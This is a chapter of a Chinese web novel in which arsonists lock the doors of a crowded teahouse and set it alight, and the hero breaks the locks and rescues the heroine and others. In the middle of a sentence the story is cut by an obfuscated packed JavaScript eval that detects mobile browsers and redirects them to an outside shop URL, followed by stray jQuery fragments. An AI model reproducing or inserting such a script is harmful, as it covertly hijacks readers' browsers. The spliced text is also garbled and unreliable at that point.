52.这么危险,他为什么要来?
作品:《前夫哥变成落魄小伴读》 江砚澄伏案练字,见岳青迟迟没来,有些心神不宁,奇怪道:“今日岳讲师可是告假了?”
小秋茫然摇头,“没听说,按照平常这个时辰,她应该早来了。”
讲堂里无人管教,伴读们都开始交头接耳起来,聊什么的都有,就是不专心写字。
江砚澄目光扫向桌上的茶盏,努力按下心中烦躁,等到课憩才端着茶盏往茶憩室走去。
可他在茶憩室等了会儿,也没等到萧念过来,只好提着热水去讲堂找她。
萧念的座位空空,连桌上的物品都摆得整整齐齐,这完全不像她的风格!
早上出来的时候还是好好的,也没说今日有什么特别的事,这会儿怎么不见人影?
奇怪的是,他发现叶江离和岳青的位置都是空的,书案亦是整整齐齐。忍不住抓住一个学子打听,得知消息后,面色沉重地回到自己的讲堂。
可心思再也安静不下来了,坐了不到一刻钟,终是忍不住裹上貂裘,离开书院。
街上景象不似平常,人群都往一个地方去,江砚澄打听了清雅居的方向后,也加入了纷乱的人群。
清雅居内,众人像是有用不完的精力一样,话匣子一打开,怎么都兜不住。
“这温小姐估计是怕了,不敢来了。”
“她不敢来也很正常,这位严小姐的实力不容小觑,没看见尹大师都夸赞了吗?若是真输了,那这才女的头衔可就真保不住了。”
“可她若一直不来,该如何收场呢?”
叶江离在角落搬了把椅子,一边看戏,一边悠哉地吃着果子,瞧见过来的两人,顺手递了过去,“尝尝这梨,很甜。”
岳青接过,啃了一口,眼睛都亮了,“萧兄快尝尝,真的很好吃,我从没吃过这么好吃的梨。”
“是吗?”萧念拿起一个尝了一口,点点头,顺手又拿起一个塞进了口袋。
带一个回去给江砚澄。
“你还连吃带拿上了。”叶江离打趣她,指着人群又问:“她要是一直不来怎么办?”
萧念依靠在墙边,不紧不慢道:“台子都搭好了,她要是不来,那她这才女之名有几分真可就不好说了。”
叶江离露出佩服的表情,“厉害啊你,以后就多多指教了~”她语气贼兮兮的,惹得萧先起了一身鸡皮疙瘩,笑骂一声,“少来这套。”
中堂内的喧嚣声覆盖了周围细枝末节的异动。二楼的走廊里,几名仆从提着油桶,动作迅速地游走在清雅居的各个角落。
后院,赵掌事被几人拉着走,满眼不甘,“这都是我多年的心血啊~”
仆从甲劝道:“别在意了,这也是小姐的意思,钱还可以再挣,命可不能丢。”
后院角落里,一把明火燃了起来,仆从乙快步跑过来,“搞定了,前门火油最重,门窗已经锁死,钥匙也丢了,她们没机会了。”
仆从甲看向那上了铁锁的门,迟疑问道:“尹大师呢?不管她了吗?”
赵掌事一听,自己的钱财都保不住了,还管她?咬牙道:“管不了那么多了,她知道的太多!今日这局,本就是死局,快走!”
江砚澄费了好大的力气才从人潮里挤了出来。人太多,根本没法从正门进,摸着墙根找到后门,正巧碰见这几人鬼鬼祟祟地上了马车,驾车离开了。
心中登时涌起一阵不安,疾步跑进院中,入目便瞧见被铁链锁住的门,铁链很粗,没有钥匙很难打开。四下找了一圈,没看到钥匙,猜测一定是被那几个仆从带走了。急得狂拍门朝里喊:“小姐!小姐——”
“萧念——”
“……”
没有回应。
“得去找人帮忙。”江砚澄低声喃喃,转身要走之时,忽然闻到一股焦味。循着味道找去,侧边的草垛堆里已燃起熊熊大火,正顺着墙上的液体以极快的速度朝屋顶攀爬。
着火了。
“走水了!!!”
“走水了!快来救火!!!”
江砚澄冲出去抓住几个人进来,可来的人一瞧这么大的火势,吓得连连摇头,飞也似的逃了。江砚澄只好从井中取水,朝草垛根源处泼水,可杯水车薪,火焰已经顺着屋脊四面八方地蔓延开来。
清雅居门前的人看见屋顶冒出的火星子,惊慌道:“走水了!快跑啊——”
庞大的人群堵住了门口,你拥我挤的一不留神便被人踩在脚下,越急越慌,接二连三地摔倒在地。冬日干燥,火舍极速席卷了前厅的各个角落,有人衣摆不慎沾上了火星子,哭喊着在地上打滚。
中堂内的人群原本还在兴致勃勃地讨论温轩仪,此刻听到走水后慌了起来,纷纷挤着朝外跑,可前厅早已被火势吞没,只要前进一步便会葬身火海。
岳青被浓烟呛得以袖掩鼻,扯着叶江离的衣袖,“火……外面烧起来了。”
叶江离看向前厅的火势,瞬间敛了脸上嬉笑。
火是从外面烧起的,她们待在中堂,很难立刻发现火势。
萧念神情凛然地环顾四周,走到侧门旁推了推,发现已经被锁死了,怎么都打不开。下意识地寻找窗户,可扑到窗前才发现,窗户竟被人从外面彻底封死了。总共就两个出口,前路被封,后路被锁,能逃生的窗户也被彻底锁死。
一股绝望感笼罩心头,“这是有人故意放火,门窗都已经被锁死了。”
旁人一听她这话,哀嚎哭诉起来,“这可怎么办啊,今日要葬身于此了吗?我还上有老下有小啊~~”
这一哭,感染了众人,心理素质差的跟着低声呜咽起来。呛人的烟味逐渐环绕了整个中堂,越哭吸进去的越多。
萧念脑中一片空白,目光落到方台上。这片方台是用汉白玉堆砌的,只要火不烧到身上,尽量拖延时间,等待救援,就还有一线生机。
“快!快上方台!”萧念高喊一声,拉着叶、岳两人就往方台上跑。众人一听,像是抓住了希望,拼了命地往方台上挤。
人数太多,方台位置有限,慌乱之下差点把原本站在台上的尹锦挤了下去,萧念见状,伸手及时拉住。
看着她震惊,慌乱,不可思议的神色,萧念有些疑惑,尹锦为什么还在这里?
“我还没上去,快拉我一把!”
人挤着人,紧贴着站,勉强站下了。
火势围着墙根跳跃,正逐渐朝方台逼近,烟雾弥漫了整个中堂,压缩着每一寸呼吸的空间。
怎么办?
同一个疑问萦绕在众人心头。
“当!”
“当!!”
江砚澄脸涨得通红,拿着石头使劲往门锁上砸,门锁被砸得火星四溅,手臂震得发麻,手掌被石头锋利的边缘割出几道细痕。可他却感知不到痛,只是始终如一地砸着。
奈何门锁太硬,费力半天也只是出现了些许凹痕。
这要砸到何年何月?
情急之下,他疯狂在院子里翻找,最终在一个角落里找到一把生锈的铁锤。
重新回到门前,瘦弱的手臂举着铁锤狠狠砸向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979033|191062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
铁锁,一下、两下……终于在快要力竭时,铁锁被砸开了。
解开缠绕的链子后,推开门,浓烈的烟味顺着长廊扑面而来,呛得他猛咳了两下。急忙解下身上的貂裘,在表面泼上水披在身上,提着铁锤,捂着鼻子义无反顾地冲了进去。
顺着长廊来到一扇门前,这扇门同样被锁住了,他听到了里头的哀嚎声,忙拍门喊了一句,“萧念!”
萧念原本有些迷糊的意识瞬间清醒,“阿砚!”
他怎么来了?
这么危险,他为什么要来!
江砚澄无暇多想,抡起铁锤对着铁锁砸下去,一声声的敲砸声撞击着人心,唤醒了即将沉睡的意志。众人各个眼含泪水,紧紧盯着那道狭窄的门,将一切的希望都寄予在了那门后单薄的身影上。
“哐当”一声,门被踹开,鹄白的身影在火光中乍现,冲天的热浪和呛人的浓烟往外涌出。江砚澄被逼得往后退了一步,抓住门框稳住身形。
下意识地寻找萧念的身影,在看见她完好无损时,心底那块悬着的石头落了下来。
随后毫不犹豫地扬起白色貂裘,盖住蹿腾的火舌,铺就一条逃生的道路。
“快!踩在上面,跑!”他的声音劈开哀嚎与哭泣。
众人原本面布绝望的脸上此刻燃起了希望,一个个有条不紊地踩着貂裘离开。汹涌的火舍撬动了房梁,接二连三地砸了下来,连带着北墙上的那三幅字画一起落下。
萧念离开的脚步紧急刹车,迅速跑过去拿起温轩仪的那幅字。
这是证据。
“萧念你干什么!”江砚澄看萧念不往外跑还返回去,急得要冲进火海,被出来的叶江离和岳青一把拉住,“你干什么?不要命了?”
“小姐还在里面!”江砚澄挣扎着朝门内伸手。他不能放手,他已经放手过一次了,这次无论如何都要抓住她!
火光冲天,热浪起伏中,一只微凉的手握住了他的手腕,模糊的视野里映照出萧念的脸。
“萧念……”
萧念拉住他的手,道:“抓紧了,别松手。”
没时间多说一句话,只能感受到一股强有力的力量带着他往前冲,手上被石头划破的细痕此刻渗出点温热,与萧念手上的墨汁浸染在一起。身后的屋檐逐渐坍塌,火星子在空中漂浮,红色焰火逐渐吞没了整个房屋,长廊里几人拼命地朝外跑,与身后追赶的火焰争夺着最后活着的希望。
先逃出去的人并没有离开,而是拿着水桶一遍遍地朝里面泼水,门口才没有被火焰侵蚀,萧念几人也顺利逃了出来。
缓了会儿后,感受到手上的粘稠,萧念抬手一看,掌心是红与黑混合的液体,看清江砚澄的伤口后,眼里涌起心疼,“你傻啊,怎么总是受伤……”
嘴上是在埋怨,可江砚澄听出了实打实的关心,淡笑一声,“一时没找到趁手的工具,没事的,回去上点药就好了。”
萧念欲言又止,想抱抱他又碍于有人在,只能伸手抹去他脸上的灰烬,奈何却越抹越黑……
白皙的脸上突兀地出现一道黑痕,十分滑稽。萧念若无其事地收回手,从怀里掏出帕子,垂眸给江砚澄包扎。
还好她笑点高。
叶江离累得倒在地上喘气,开口就是怒骂:“哪个天杀地放火,别被我抓到,不然我要她偿命!”
救火队赶了过来,在众人合力之下,及时控制住了火势,这才没有朝着周围蔓延。
萧念往人群中看了眼,早就没有了尹锦的身影。

